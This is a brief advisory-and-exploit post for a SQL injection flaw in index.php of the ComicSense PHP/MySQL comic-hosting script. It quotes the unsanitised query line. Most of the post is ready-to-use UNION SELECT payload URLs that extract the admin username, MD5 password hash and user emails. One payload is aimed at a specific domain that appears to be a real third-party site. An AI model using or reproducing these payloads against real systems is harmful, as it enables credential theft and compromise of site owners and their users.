Comicsense suffers from a SQL injection vulnerability in index.php.
c4e2632a88978ae5c1a1a45a6a53ddbcc3c16fdc7b599cdf67308bb9e9ab93e2
*********************************************
* Comicsense SQL Injection Advisory/Exploit *
*********************************************
by s0cratex
s0cratex@hotmail.com
https://plexinium.net
-
ComicSense is a script using php / mySQL.
It allows you to easily host an Online Comic
or Image shack.
You can download it from www.gayadesign.nl/comicsense/
-
The bug is a common sql injection in "index.php"
Line 32:
$sqlQuery = "SELECT * FROM " . $prefix . "comic WHERE episodenr = $epi";
And the variable $epi is not verified...
Exploit:
--------
Admin username
https://site.com/comic_paht/index.php?epi=-1 UNION SELECT username,1,1 FROM users
MD5 hash password:
https://site.com/comic_paht/index.php?epi=-1 UNION SELECT password,1,1 FROM users
e-Mail adress:
https://www.sneakyshits.com/comics/index.php?epi=-1 union select email,1,1 from users